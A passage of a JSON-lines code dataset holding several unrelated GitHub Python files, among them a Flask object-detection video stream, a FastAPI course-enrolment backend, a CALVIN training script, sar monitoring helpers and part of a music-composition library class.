ladder:\n idx = ladder.index(2)\nprint(idx)","repo_name":"paik11012/Algorithm","sub_path":"lecture/day05_0819/ladder.py","file_name":"ladder.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"9885704745","text":"from imutils.video import FPS\nimport numpy as np\nimport imutils\nimport cv2\nfrom imutils.video import VideoStream\nfrom flask import Response\nfrom flask import Flask\nfrom flask import render_template\nimport threading\nfrom flask import Flask, request\nfrom flask_restful import reqparse, Resource, Api\n\nimport argparse\nimport datetime\nimport time\n\noutputFrame = None\nlock = threading.Lock()\n\napp = Flask(__name__)\napi = Api(app)\n\nparser = reqparse.RequestParser()\nparser.add_argument('datapath')\n\n\n@app.route(\"/\")\ndef index():\n # return the rendered template\n return render_template(\"index.html\")\n\n\ndef objectDetectionSDD():\n CLASSES = [\"background\", \"1\", \"bicycle\", \"2\", \"3\",\n \"4\", \"bus\", \"car\", \"5\", \"6\", \"7\", \"8\",\n \"9\", \"10\", \"motorbike\", \"person\", \"11\", \"12\",\n \"13\", \"train\", \"14\"]\n global vs, outputFrame, lock\n COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))\n net = cv2.dnn.readNetFromCaffe(\"MobileNetSSD_deploy.prototxt\", \"MobileNetSSD_deploy.caffemodel\")\n use_gpu = 1\n if use_gpu > 0:\n print(\"[INFO] setting preferable backend and target to CUDA...\")\n net.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\n net.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\n\n print(\"[INFO] accessing video stream...\")\n datapath = \"1.avi\"\n vs = cv2.VideoCapture(datapath)\n writer = None\n fps = FPS().start()\n\n output1 = \"2.avi\"\n display2 = 1\n confidence2 = 0.2\n\n count = 0\n while True:\n (grabbed, frame) = vs.read()\n if not grabbed:\n break\n\n if (count % 2) == 0:\n frame = imutils.resize(frame, width=400)\n (h, w) = frame.shape[:2]\n blob = cv2.dnn.blobFromImage(frame, 0.007843, (300, 300), 127.5)\n net.setInput(blob)\n detections = net.forward()\n for i in np.arange(0, detections.shape[2]):\n confidence = detections[0, 0, i, 2]\n if confidence > confidence2:\n idx = int(detections[0, 0, i, 1])\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype(\"int\")\n # label = \"{}: {:.2f}%\".format(CLASSES[idx], confidence * 100)\n label = \"{}\".format(CLASSES[idx])\n cv2.rectangle(frame, (startX, startY), (endX, endY), COLORS[idx], 2)\n y = startY - 15 if startY - 15 > 15 else startY + 15\n cv2.putText(frame, label, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, COLORS[idx], 2)\n\n with lock:\n outputFrame = frame.copy()\n\n if display2 > 0:\n cv2.imshow(\"Frame\", frame)\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n fps.update()\n\n count = count + 1\n\n # vs.stop()\n fps.stop()\n print(\"[INFO] elasped time: {:.2f}\".format(fps.elapsed()))\n print(\"[INFO] approx. FPS: {:.2f}\".format(fps.fps()))\n cv2.destroyAllWindows()\n\n\ndef generate():\n # grab global references to the output frame and lock variables\n global outputFrame, lock\n\n # loop over frames from the output stream\n while True:\n # wait until the lock is acquired\n with lock:\n # check if the output frame is available, otherwise skip\n # the iteration of the loop\n if outputFrame is None:\n continue\n\n # encode the frame in JPEG format\n (flag, encodedImage) = cv2.imencode(\".jpg\", outputFrame)\n\n # ensure the frame was successfully encoded\n if not flag:\n continue\n\n # yield the output frame in the byte format\n yield (b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' +\n bytearray(encodedImage) + b'\\r\\n')\n\n\n@app.route(\"/video_feed\")\ndef video_feed():\n # return the response generated along with the specific media\n # type (mime type)\n return Response(generate(),\n mimetype=\"multipart/x-mixed-replace; boundary=frame\")\n\n\nif __name__ == '__main__':\n # objectDetectionSDD(\"!!!\")\n # objectDetectionSDD(datapath)\n ap = argparse.ArgumentParser()\n args = vars(ap.parse_args())\n # t = threading.Thread(target=objectDetectionSDD(), args=(args[\"datapath\"]))\n t = threading.Thread(target=objectDetectionSDD())\n args = vars(ap.parse_args())\n t.daemon = True\n t.start()\n\n\n# vs.stop()\n\n\n\n\n\n\n\n","repo_name":"siatcloud/SIAT","sub_path":"SIAT API Server/python/ObjectDetectionDeepLearnedSSD-original.py","file_name":"ObjectDetectionDeepLearnedSSD-original.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1001487385","text":"def solve():\r\n n = int(input());count=0\r\n a =list(map(int,input().split()))\r\n for i in range(1,n):\r\n while(i>0):\r\n if (a[i] < a[i-1]):\r\n a[i],a[i-1] = a[i-1],a[i]\r\n i-=1\r\n count+=1\r\n else:\r\n break\r\n print(count) \r\n \r\nsolve()\r\n","repo_name":"Aakashbansal837/python","sub_path":"running time of algorithms.py","file_name":"running time of algorithms.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21327555093","text":"#!/usr/bin/env python\n\nimport sys\nfrom argparse import ArgumentParser\nfrom calvin_dataset import CalvinDataset\nfrom sequence_classifier import train\nfrom warnings import warn\n\nparser = ArgumentParser(description=\"Supervised experiments on CALVIN\")\nparser.add_argument(\"-d\", \"--data\", default=\"D\", type=str, help=\"Training data: ABCD, ABC, D\")\nparser.add_argument(\"-m\", \"--model\", default=\"MLP\", type=str, help=\"Model type: MLP, LSTM, Transformer\")\nparser.add_argument(\"-b\", \"--batch_size\", default=32, type=int, help=\"Batch size\")\nparser.add_argument(\"-l\", \"--learning_rate\", default=0.0001, type=float, help=\"Learning rate\")\nparser.add_argument(\"-s\", \"--max_steps\", default=100000, type=int, help=\"Max steps\")\nparser.add_argument(\"-H\", \"--hidden_size\", default=512, type=int, help=\"Hidden layer dimension\")\nparser.add_argument(\"-L\", \"--num_layers\", default=2, type=int, help=\"Number of layers\")\nparser.add_argument(\"-N\", \"--num_heads\", default=2, type=int, help=\"Number of transformer heads\")\nparser.add_argument(\"-p\", \"--dropout\", default=0.5, type=float, help=\"Dropout probability\")\nparser.add_argument(\"-w\", \"--weight_decay\", default=0.1, type=float, help=\"Weight decay\")\nparser.add_argument(\"-i\", \"--instances_per_episode\", default=1, type=int, help=\"Instances per episode\")\nparser.add_argument(\"-c\", \"--context_length\", default=64, type=int, help=\"Context length\")\nparser.add_argument(\"-f\", \"--features\", default=\"range(0,97)\", type=str, help=\"Features\")\nparser.add_argument(\"-a\", \"--pool\", default=\"mean\", type=str, help=\"AdaptivePooling operation\")\n\nargs, unknown = parser.parse_known_args()\nprint(args)\nif unknown:\n warn(f\"Warning: calvin_supervised_training.py: Unrecognized options: {unknown}\")\nargs.features = eval(args.features)\ntrn = CalvinDataset(f\"data/{args.data}-training.npz\", **args.__dict__)\nval = CalvinDataset(\"data/D-validation.npz\", **args.__dict__)\nval_acc = train(trn, val, **args.__dict__)\nprint(val_acc)\n","repo_name":"denizyuret/calvin-scripts","sub_path":"calvin_supervised_training.py","file_name":"calvin_supervised_training.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25548853653","text":"import re\nimport typing as t\nimport urllib.parse\nfrom datetime import datetime, timedelta, timezone\nfrom uuid import UUID\n\nimport ujson\nimport pytz\nfrom fastapi import APIRouter, Depends, HTTPException, Query\nfrom fastapi_limiter.depends import RateLimiter\nfrom pydantic import BaseModel\n\nfrom ta_backend.models import Course, Subject, User\nfrom ta_backend.plugins import manager, redis\nfrom ta_backend.responses import CourseDetailReponse, CourseResponse, DefaultResponse\nfrom ta_backend.helper.discord import send_webhook\nfrom ta_backend.helper.settings import settings\n\njkt_timezone = timezone(timedelta(hours=7))\n\n\nclass CourseCreate(BaseModel):\n name: str\n matkul: str\n datetime: datetime\n students_limit: t.Optional[int] = None\n notes: t.Optional[str] = \"\"\n link: t.Optional[str] = \"\"\n notes_short: t.Optional[str] = \"\"\n hidden: bool\n\n def __init__(self, *args, **kwargs):\n dt_str = kwargs.pop(\"datetime\")\n kwargs[\"datetime\"] = datetime.fromisoformat(dt_str).replace(tzinfo=jkt_timezone)\n super().__init__(*args, **kwargs)\n\n\nrouter = APIRouter(\n prefix=\"/course\",\n dependencies=[\n Depends(manager),\n ],\n)\n\n\ndef _is_invite_url(url: str) -> bool:\n ZOOM_RE = re.compile(r\"\\/j\\/\\d+\")\n GMEET_RE = re.compile(r\"\\/\\w{3}-\\w{4}-\\w{3}\")\n\n parsed = urllib.parse.urlparse(url)\n if parsed.netloc == \"zoom.us\":\n return bool(ZOOM_RE.search(parsed.path))\n elif parsed.netloc == \"meet.google.com\":\n return bool(GMEET_RE.search(parsed.path))\n\n return False\n\n\ndef _current_dt_aware():\n return datetime.utcnow().replace(tzinfo=pytz.utc).astimezone(jkt_timezone)\n\n\ndef _can_fetch_details(course_id: UUID, user: User) -> bool:\n \"\"\"Try to figure out if current used is a student or teacher\n WITHOUT calling database, as we already have the data from\n user.\"\"\"\n is_student = False\n is_teacher = False\n\n course: Course\n for course in user.courses_taken:\n if course.id == course_id:\n is_student = True\n break\n\n for course in user.courses_owned:\n if course.id == course_id:\n is_teacher = True\n break\n\n return is_student or is_teacher or user.is_admin\n\n\nasync def _create_coursedict(course: Course, user: User):\n response = course.dict(exclude={\"datetime\", \"matkul\", \"teacher\", \"students\"})\n student_count: int = await course.students.count() # type: ignore\n\n response.update(\n {\n \"id\": str(course.id),\n \"matkul\": Subject(course.matkul).name,\n \"datetime\": course.datetime.astimezone(jkt_timezone).strftime(\n \"%Y-%m-%dT%H:%M:%S\"\n ),\n \"teacher\": course.teacher.name,\n \"teacher_npm\": course.teacher.npm,\n \"students_count\": student_count,\n \"is_enrolled\": course in user.courses_taken or user.is_admin,\n }\n )\n return response\n\n\n@router.get(\n \"/list\",\n response_model=t.List[CourseResponse],\n dependencies=[\n Depends(RateLimiter(times=300, minutes=1)),\n ],\n)\nasync def courses_list(user: User = Depends(manager), page: int = Query(1)):\n courses = (\n await Course.objects.paginate(page, 10)\n .order_by(\"-datetime\")\n .select_related(\"teacher\")\n .all()\n )\n response = []\n for c in courses:\n response.append(await _create_coursedict(c, user))\n return response\n\n\n@router.get(\"/available\", response_model=t.List[CourseResponse])\nasync def courses_available(user: User = Depends(manager), page: int = Query(1)):\n current_time = _current_dt_aware()\n\n # Let admin see hidden courses\n filters = Course.datetime >= current_time\n if not user.is_admin:\n filters &= Course.hidden == False # noqa\n\n courses = (\n await Course.objects.filter(filters)\n .paginate(page, 10)\n .order_by(\"-datetime\")\n .select_related(\"teacher\")\n .all()\n )\n response = []\n for c in courses:\n response.append(await _create_coursedict(c, user))\n return response\n\n\n@router.get(\n \"/mine\",\n response_model=t.List[CourseResponse],\n dependencies=[\n Depends(RateLimiter(times=300, minutes=1)),\n ],\n)\nasync def courses_mine(user: User = Depends(manager), page: int = Query(1)):\n courses = (\n await Course.objects.filter(Course.teacher.npm == user.npm)\n .paginate(page, 10)\n .order_by(\"-datetime\")\n .all()\n )\n response = []\n for c in courses:\n response.append(await _create_coursedict(c, user))\n return response\n\n\n@router.get(\n \"/enrolled\",\n response_model=t.List[CourseResponse],\n dependencies=[\n Depends(RateLimiter(times=300, minutes=1)),\n ],\n)\nasync def courses_enrolled(user: User = Depends(manager), page: int = Query(1)):\n courses = (\n await user.courses_taken.select_related(\"teacher\")\n .paginate(page, 10)\n .order_by(\"-datetime\")\n .all()\n )\n response = []\n for c in courses:\n response.append(await _create_coursedict(c, user))\n return response\n\n\n@router.post(\n \"/create\",\n response_model=CourseResponse,\n dependencies=[\n Depends(RateLimiter(times=1, seconds=3)),\n ],\n)\nasync def course_create(course: CourseCreate, user: User = Depends(manager)):\n current_time = _current_dt_aware()\n if course.datetime < current_time:\n raise HTTPException(\n status_code=400,\n detail=\"You cannot pick date and time that happens in the past.\",\n )\n elif (course.datetime - current_time) > timedelta(days=28):\n raise HTTPException(\n status_code=400,\n detail=\"Date and Time must be between now and 30 days from now.\",\n )\n\n if course.link and not _is_invite_url(course.link):\n raise HTTPException(status_code=400, detail=\"Invalid Meet/Zoom URL.\")\n\n upcoming_user_courses = await Course.objects.filter(\n (Course.datetime > current_time) & (Course.teacher.npm == user.npm)\n ).all()\n if len(upcoming_user_courses) >= 2:\n raise HTTPException(\n status_code=400, detail=\"You can only have at most 2 upcoming classes.\"\n )\n\n if course.students_limit and course.students_limit <= 0:\n course.students_limit = None\n c = await Course.objects.create(teacher=user, **course.dict())\n\n if not course.hidden and settings.discord_url:\n await send_webhook(settings.discord_url, c)\n\n return await _create_coursedict(c, user)\n\n\n@router.post(\n \"/{course_id}/enroll\",\n response_model=DefaultResponse,\n dependencies=[\n Depends(RateLimiter(times=1, seconds=1)),\n ],\n)\nasync def course_enroll(course_id: UUID, user: User = Depends(manager)):\n redis_key = f\"{str(course_id)}--detail\"\n\n c = await Course.objects.select_related(\"teacher\").get_or_none(id=course_id)\n if not c:\n raise HTTPException(status_code=404, detail=\"Course not found!\")\n if c.teacher == user:\n raise HTTPException(\n status_code=403, detail=\"You cannot enroll to your own course.\"\n )\n\n # Reset tzinfo to None again because c.datetime is not timezone aware\n # for no reason\n current_time = _current_dt_aware().replace(tzinfo=pytz.utc) - timedelta(hours=7)\n if current_time > c.datetime:\n raise HTTPException(status_code=403, detail=\"Course has already started!\")\n if c.students_limit and (await c.students.count()) >= c.students_limit: # type: ignore\n raise HTTPException(status_code=403, detail=\"Course is already full.\")\n\n await c.students.add(user)\n await redis.delete(redis_key)\n return {\"message\": \"Successfully enrolled!\"}\n\n\n@router.post(\n \"/{course_id}/unenroll\",\n response_model=DefaultResponse,\n dependencies=[\n Depends(RateLimiter(times=1, seconds=1)),\n ],\n)\nasync def course_unenroll(course_id: UUID, user: User = Depends(manager)):\n redis_key = f\"{str(course_id)}--detail\"\n\n c = await Course.objects.select_all().get_or_none(id=course_id)\n if not c:\n raise HTTPException(status_code=404, detail=\"Course not found!\")\n if c.teacher == user:\n raise HTTPException(\n status_code=403, detail=\"You cannot unenroll to your own course.\"\n )\n if user not in c.students:\n raise HTTPException(\n status_code=401, detail=\"You are not enrolled to this course.\"\n )\n\n await c.students.remove(user)\n await redis.delete(redis_key)\n return {\"message\": \"Unenrolled from course.\"}\n\n\n@router.get(\n \"/{course_id}/detail\",\n response_model=CourseDetailReponse,\n dependencies=[Depends(RateLimiter(times=20, seconds=1))],\n)\nasync def course_detail(course_id: UUID, user: User = Depends(manager)):\n redis_key = f\"{str(course_id)}--detail\"\n\n can_fetch = _can_fetch_details(course_id, user)\n if not can_fetch:\n raise HTTPException(\n status_code=401, detail=\"You are not enrolled to this course.\"\n )\n\n # Search if cache exist in redis\n course_dict: str = await redis.get(redis_key)\n if course_dict:\n return ujson.loads(course_dict)\n\n c = await Course.objects.select_related(\"teacher\").get_or_none(id=course_id)\n if not c:\n raise HTTPException(status_code=404, detail=\"Course not found!\")\n\n course_dict = await _create_coursedict(c, user)\n await redis.set(redis_key, ujson.dumps(course_dict))\n return course_dict\n\n\n@router.get(\n \"/{course_id}/students\",\n response_model=t.List[str],\n dependencies=[Depends(RateLimiter(times=20, seconds=1))],\n)\nasync def course_students(\n course_id: UUID,\n user: User = Depends(manager),\n page: int = Query(1, gt=0),\n):\n can_fetch = _can_fetch_details(course_id, user)\n if not can_fetch:\n raise HTTPException(\n status_code=401, detail=\"You are not enrolled to this course.\"\n )\n\n c = await Course.objects.get_or_none(id=course_id)\n if not c:\n raise HTTPException(status_code=404, detail=\"Course not found!\")\n\n students = await c.students.fields({\"name\", \"username\"}).paginate(page, 10).all()\n resp: t.List[str] = []\n\n u: User\n for u in students:\n resp.append(u.name)\n return resp\n\n\n@router.post(\n \"/{course_id}/update\",\n response_model=CourseDetailReponse,\n dependencies=[\n Depends(RateLimiter(times=1, seconds=3)),\n ],\n)\nasync def course_update(\n course_id: UUID,\n course_data: CourseCreate,\n user: User = Depends(manager),\n):\n redis_key = f\"{str(course_id)}--detail\"\n current_time = _current_dt_aware()\n\n if course_data.link and not _is_invite_url(course_data.link):\n raise HTTPException(status_code=400, detail=\"Invalid Meet/Zoom URL.\")\n\n c = await Course.objects.select_related(\"teacher\").get_or_none(id=course_id)\n if not c:\n raise HTTPException(status_code=404, detail=\"Course not found!\")\n if user != c.teacher and not user.is_admin:\n raise HTTPException(status_code=401, detail=\"You are not allowed to do this.\")\n\n is_dt_changed = c.datetime != course_data.datetime\n if is_dt_changed:\n if c.datetime < course_data.datetime:\n raise HTTPException(status_code=400, detail=\"You cannot reopen a class.\")\n\n if course_data.datetime < current_time:\n raise HTTPException(\n status_code=400,\n detail=\"You cannot pick date and time that happens in the past.\",\n )\n elif (course_data.datetime - current_time) > timedelta(days=28):\n raise HTTPException(\n status_code=400,\n detail=\"Date and Time must be between now and 30 days from now.\",\n )\n\n if course_data.students_limit and course_data.students_limit <= 0:\n course_data.students_limit = None\n await c.update(**course_data.dict())\n await redis.delete(redis_key)\n return await _create_coursedict(c, user)\n\n\n@router.delete(\n \"/{course_id}/delete\",\n response_model=DefaultResponse,\n dependencies=[\n Depends(RateLimiter(times=1, seconds=10)),\n ],\n)\nasync def course_delete(course_id: UUID, user: User = Depends(manager)):\n redis_key = f\"{str(course_id)}--detail\"\n\n c = await Course.objects.select_related(\"teacher\").get_or_none(id=course_id)\n if not c:\n raise HTTPException(status_code=404, detail=\"Course not found!\")\n if user != c.teacher and not user.is_admin:\n raise HTTPException(status_code=401, detail=\"You are not allowed to do this.\")\n await c.delete()\n\n await redis.delete(redis_key)\n return {\"message\": \"Course deleted.\"}\n","repo_name":"rorre/ta-backend","sub_path":"ta_backend/routes/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":12563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74557106288","text":"from pySar.lib import sar\nimport os\n\ndef get_cpu(key):\n 'Get usage for a specific key in cpu report'\n results = sar(sarbin='sar')\n items = [ float(i[key]) for i in results ]\n times = shorttimes(results)\n return zip(times, items)\n\ndef get_swap(key):\n 'Get usage for a specific key in swap report'\n results = sar(sarbin='sar', saroptions='-S')\n items = [ float(i[key]) for i in results ]\n times = shorttimes(results)\n return zip(times, items)\n\ndef get_memory():\n 'Get usage for a specific key in memory report'\n results = sar(sarbin='sar', saroptions='-r')\n items1 = [ float(i['kbmemused']) for i in results ]\n items2 = [ float(i['kbbuffers']) for i in results ]\n items3 = [ float(i['kbcached']) for i in results ]\n times = shorttimes(results)\n return zip(times, items1, items2, items3)\n\ndef get_load():\n 'Get usage for a specific key in load report'\n results = sar(sarbin='sar', saroptions='-q')\n items1 = [ float(i['ldavg-1']) for i in results ]\n items2 = [ float(i['ldavg-5']) for i in results ]\n items3 = [ float(i['ldavg-15']) for i in results ]\n times = shorttimes(results)\n return zip(times, items1, items2, items3)\n \ndef shorttimes(results):\n longtimes = [ i['timestamp'] for i in results ]\n shorttimes = []\n for time in longtimes:\n t = '%s:%s' % (time.split(':')[0], time.split(':')[1])\n shorttimes.append(t)\n return shorttimes\n","repo_name":"jness/pysarGraphs","sub_path":"sarGraphs/lib/sar.py","file_name":"sar.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"71099856690","text":"from sys import stdin\ninput=stdin.readline\nfrom collections import deque\nm,n=map(int,input().split())\narr=[list(map(int,input().split())) for i in range(m)]\nv=[[0 for i in range(n)] for i in range(m)]\ndx=[0,0,1,-1,1,1,-1,-1]\ndy=[1,-1,0,0,-1,1,-1,1]\n\ndef bfs(X,Y):\n global arr\n queue=deque([[X,Y]])\n able=True\n h=arr[Y][X]\n v[Y][X]=1\n while queue:\n x,y=queue.popleft()\n for i in range(8):\n nx=x+dx[i]\n ny=y+dy[i]\n if -1>> red_setting = consort.MusicSetting(\n ... timespan_maker=consort.TaleaTimespanMaker(\n ... initial_silence_talea=rhythmmakertools.Talea(\n ... counts=(0, 4),\n ... denominator=16,\n ... ),\n ... playing_talea=rhythmmakertools.Talea(\n ... counts=(4, 8, 4),\n ... denominator=16,\n ... ),\n ... ),\n ... viola_rh=consort.tools.MusicSpecifier(),\n ... violin_1_rh=consort.tools.MusicSpecifier(),\n ... violin_2_rh=consort.tools.MusicSpecifier(),\n ... )\n >>> print(format(red_setting))\n consort.tools.MusicSetting(\n timespan_maker=consort.tools.TaleaTimespanMaker(\n initial_silence_talea=rhythmmakertools.Talea(\n counts=[0, 4],\n denominator=16,\n ),\n playing_talea=rhythmmakertools.Talea(\n counts=[4, 8, 4],\n denominator=16,\n ),\n playing_groupings=(1,),\n repeat=True,\n silence_talea=rhythmmakertools.Talea(\n counts=[4],\n denominator=16,\n ),\n step_anchor=Right,\n synchronize_groupings=False,\n synchronize_step=False,\n ),\n viola_rh=consort.tools.MusicSpecifier(),\n violin_1_rh=consort.tools.MusicSpecifier(),\n violin_2_rh=consort.tools.MusicSpecifier(),\n )\n\n ::\n\n >>> segment_timespan = abjad.Timespan(1, 2)\n >>> from abjad.tools import templatetools\n >>> score_template = consort.StringQuartetScoreTemplate()\n >>> timespan_inventory = red_setting(\n ... layer=1,\n ... score_template=score_template,\n ... segment_timespan=segment_timespan,\n ... )\n\n ::\n\n >>> print(format(timespan_inventory))\n abjad.TimespanList(\n [\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(1, 1),\n stop_offset=abjad.Offset(5, 4),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 1 Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(1, 1),\n stop_offset=abjad.Offset(3, 2),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Viola Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(5, 4),\n stop_offset=abjad.Offset(3, 2),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 2 Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(3, 2),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 1 Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(7, 4),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Viola Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(7, 4),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 2 Bowing Voice',\n ),\n ]\n )\n\n ::\n\n >>> red_setting = abjad.new(\n ... red_setting,\n ... silenced_contexts=[\n ... 'viola_lh',\n ... 'cello',\n ... ],\n ... )\n >>> print(format(red_setting))\n consort.tools.MusicSetting(\n timespan_maker=consort.tools.TaleaTimespanMaker(\n initial_silence_talea=rhythmmakertools.Talea(\n counts=[0, 4],\n denominator=16,\n ),\n playing_talea=rhythmmakertools.Talea(\n counts=[4, 8, 4],\n denominator=16,\n ),\n playing_groupings=(1,),\n repeat=True,\n silence_talea=rhythmmakertools.Talea(\n counts=[4],\n denominator=16,\n ),\n step_anchor=Right,\n synchronize_groupings=False,\n synchronize_step=False,\n ),\n silenced_contexts=('cello', 'viola_lh'),\n viola_rh=consort.tools.MusicSpecifier(),\n violin_1_rh=consort.tools.MusicSpecifier(),\n violin_2_rh=consort.tools.MusicSpecifier(),\n )\n\n ::\n\n >>> timespan_inventory = red_setting(\n ... layer=1,\n ... score_template=score_template,\n ... segment_timespan=segment_timespan,\n ... )\n >>> print(format(timespan_inventory))\n abjad.TimespanList(\n [\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(1, 1),\n stop_offset=abjad.Offset(5, 4),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 1 Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(1, 1),\n stop_offset=abjad.Offset(3, 2),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Viola Bowing Voice',\n ),\n consort.tools.SilentTimespan(\n start_offset=abjad.Offset(1, 1),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n voice_name='Cello Bowing Voice',\n ),\n consort.tools.SilentTimespan(\n start_offset=abjad.Offset(1, 1),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n voice_name='Cello Fingering Voice',\n ),\n consort.tools.SilentTimespan(\n start_offset=abjad.Offset(1, 1),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n voice_name='Viola Fingering Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(5, 4),\n stop_offset=abjad.Offset(3, 2),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 2 Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(3, 2),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 1 Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(7, 4),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Viola Bowing Voice',\n ),\n consort.tools.PerformedTimespan(\n start_offset=abjad.Offset(7, 4),\n stop_offset=abjad.Offset(2, 1),\n layer=1,\n music_specifier=consort.tools.MusicSpecifier(),\n voice_name='Violin 2 Bowing Voice',\n ),\n ]\n )\n\n '''\n\n ### CLASS VARIABLES ###\n\n __slots__ = (\n '_music_specifiers',\n '_silenced_contexts',\n '_timespan_identifier',\n '_timespan_maker',\n )\n\n ### INITIALIZER ###\n\n def __init__(\n self,\n timespan_identifier=None,\n timespan_maker=None,\n silenced_contexts=None,\n color=None,\n **music_specifiers\n ):\n import consort\n prototype = (\n consort.CompositeMusicSpecifier,\n consort.MusicSpecifier,\n consort.MusicSpecifierSequence,\n str, # for demonstration purposes only\n )\n for abbreviation, music_specifier in sorted(music_specifiers.items()):\n if isinstance(music_specifier, prototype):\n continue\n elif music_specifier is None:\n music_specifier = consort.MusicSpecifier(\n rhythm_maker=rhythmmakertools.NoteRhythmMaker(\n tie_specifier=rhythmmakertools.TieSpecifier(\n tie_across_divisions=True,\n ),\n ),\n )\n music_specifiers[abbreviation] = music_specifier\n elif isinstance(music_specifier, collections.Sequence) and \\\n all(isinstance(x, prototype) for x in music_specifier):\n music_specifier = consort.MusicSpecifierSequence(\n music_specifiers=music_specifier,\n )\n music_specifiers[abbreviation] = music_specifier\n else:\n raise ValueError(music_specifier)\n if color is not None:\n for abbreviation, music_specifier in sorted(music_specifiers.items()):\n if isinstance(music_specifier, consort.MusicSpecifier):\n music_specifier = abjad.new(music_specifier, color=color)\n elif isinstance(music_specifier, consort.CompositeMusicSpecifier):\n primary = abjad.new(\n music_specifier.primary_music_specifier,\n music_specifiers=[\n abjad.new(_, color=color) for _ in\n music_specifier.primary_music_specifier\n ],\n )\n secondary = abjad.new(\n music_specifier.secondary_music_specifier,\n music_specifiers=[\n abjad.new(_, color=color) for _ in\n music_specifier.secondary_music_specifier\n ],\n )\n music_specifier = abjad.new(\n music_specifier,\n primary_music_specifier=primary,\n secondary_music_specifier=secondary,\n )\n elif isinstance(music_specifier, consort.MusicSpecifierSequence):\n music_specifier = abjad.new(\n music_specifier,\n music_specifiers=[\n abjad.new(_, color=color) for _ in\n music_specifier.music_specifiers\n ],\n )\n music_specifiers[abbreviation] = music_specifier\n self._music_specifiers = music_specifiers\n if silenced_contexts is not None:\n silenced_contexts = (str(_) for _ in silenced_contexts)\n silenced_contexts = tuple(sorted(set(silenced_contexts)))\n self._silenced_contexts = silenced_contexts\n if timespan_identifier is not None:\n prototype = (\n abjad.Timespan,\n abjad.TimespanList,\n consort.RatioPartsExpression,\n )\n if not isinstance(timespan_identifier, prototype):\n timespan_identifier = \\\n consort.RatioPartsExpression.from_sequence(\n timespan_identifier)\n assert isinstance(timespan_identifier, prototype)\n self._timespan_identifier = timespan_identifier\n if timespan_maker is not None:\n assert isinstance(timespan_maker,\n consort.TimespanMaker), \\\n timespan_maker\n else:\n timespan_maker = consort.FloodedTimespanMaker()\n self._timespan_maker = timespan_maker\n\n ### SPECIAL METHODS ###\n\n def __call__(\n self,\n layer=None,\n score=None,\n score_template=None,\n segment_timespan=None,\n timespan_inventory=None,\n timespan_quantization=None,\n ):\n if score is None:\n score = score_template()\n if timespan_inventory is None:\n timespan_inventory = abjad.TimespanList()\n if not self.music_specifiers:\n return timespan_inventory\n music_specifiers = self.resolve_music_specifiers(\n score_template,\n score=score,\n )\n silenced_context_names = self.resolve_silenced_contexts(\n score_template,\n score=score,\n )\n target_timespans = self.resolve_target_timespans(\n segment_timespan,\n timespan_quantization,\n )\n for i, target_timespan in enumerate(target_timespans):\n timespan_maker = self.timespan_maker.rotate(i)\n timespan_inventory = timespan_maker(\n layer=layer,\n music_specifiers=music_specifiers,\n silenced_context_names=silenced_context_names,\n target_timespan=target_timespan,\n timespan_inventory=timespan_inventory,\n )\n return timespan_inventory\n\n def __getattr__(self, item):\n if item in self.music_specifiers:\n return self.music_specifiers[item]\n elif item == 'color':\n return None\n return object.__getattribute__(self, item)\n\n ### PRIVATE METHODS ###\n\n def _get_format_specification(self):\n agent = systemtools.StorageFormatAgent(self)\n names = 